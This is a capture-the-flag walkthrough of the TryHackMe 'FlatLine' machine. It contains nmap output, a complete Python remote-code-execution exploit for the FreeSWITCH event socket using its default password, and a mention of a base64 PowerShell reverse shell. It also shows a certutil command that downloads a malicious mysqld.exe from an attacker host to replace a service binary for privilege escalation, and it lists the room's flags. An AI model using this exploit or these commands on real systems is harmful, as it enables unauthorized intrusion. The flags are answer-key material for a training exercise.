FlatLine

Reconnisance

Nmap scan indicates running os is windows

#RDP is open and a non standard 8021 is open

Port 8021 is running freeswitch event socket which is a software which sends events happening on a server over tcp

scans

nmap

Starting Nmap 7.92 (https://nmap.org) at 2022-04-22 10:54 EDT Nmap scan report for 10.10.2.47 Host is up (0.47s latency).

PORT STATE SERVICE VERSION

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target_Name: WIN-EOM4PK0578N

NetBIOS_Domain_Name: WIN-EOM4PK0578N

NetBIOS_Computer_Name: WIN-EOM4PK0578N

DNS_Domain_Name: WIN-EOM4PK0578N

DNS_Computer_Name: WIN-EOM4PK0578N

| Product_Version: 10.0.17763

| System Time: 2022-04-22T14:54:35+00:00

_ssl-date: 2022-04-22T14:54:37+00:00; -1s from scanner time.

| ssl-cert: Subject: commonName=WIN-EOM4PK0578N

| Not valid before: 2022-04-21T14:34:11 | Not valid after: 2022-10-21T14:34:11

8021/tcp open freeswitch-event FreeSWITCH mod event socket

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: specialized

Running (JUST GUESSING): AVtech embedded (87%)

Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 4 hops

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 3389/tcp)

HOP RTT ADDRESS 1 205.81 ms 10.4.0.1

2 ... 3

4 473.94 ms 10.10.2.47

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 26.90 seconds

Exploitation

we find a known exploit for freeswitch event socket which allows remote code execution

we copy the code and try to read

```
exploit.py
#
# FreeSWITCH listens on port 8021 by default and will accept and run
# it after authenticating. By default commands are not accepted from
#
# -- Example --
# root@kali:~# ./freeswitch-exploit.py 192.168.1.100 whoami
# Authenticated
# Content-Type: api/response
# Content-Length: 20
#
# nt authority\system
#!/usr/bin/python3
from socket import *
import sys
if len(sys.argv) != 3:
    print('Missing arguments')
    print('Usage: freeswitch-exploit.py <target> <cmd>')
    sys.exit(1)
ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='ClueCon' # default password for FreeSWITCH
s=socket(AF INET, SOCK STREAM)
s.connect((ADDRESS, 8021))
response = s.recv(1024)
if b'auth/request' in response:
    s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
    response = s.recv(1024)
    if b'+OK accepted' in response:
        print('Authenticated')
         s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
         response = s.recv(8096).decode()
        print(response)
```

Successful

I got a revshell by using b64 encoded powershell payload

PostExploitation

- # i transfer powerup on the target
- # Invoked All checks

```
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

ServiceName : PsShutdownSvc
Path : C:\Windows\PSSDNSVC.EXE
ModifiableFile : C:\Windows\PSSDNSVC.EXE
```

- # That didnt worked but we found a directory named projects which have openclinic software package
- # This package was vulnerbale to a service rewrite in which we can replace it with a malicous binary
- # We mirrored poc-text from searchsploit
- # instructions say to replace the mysqld binary with a evil binary and restart pc

```
ren mysqld.exe mysqld.bak
certutil -urlcache -f http://10.4.30.255/mysqld.exe mysqld.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
dir
```

we restarted the pc and opened a listener and got a connecion after some time

```
Restart-Computer
PS C:\projects\openclinic\mariadb\bin>
```

```
type nekrotic\desktop\root.txt
type nekrotic\desktop\root.txt
THM{8c8bc5558f0f3f8060d00ca231a9fb5e}
C:\Usorc>
```

Loot

Credentials

Flags

User flag

 $THM\{64bca0843d535fa73eecdc59d27cbe26\}$

NT/Authority

THM{8c8bc5558f0f3f8060d00ca231a9fb5e}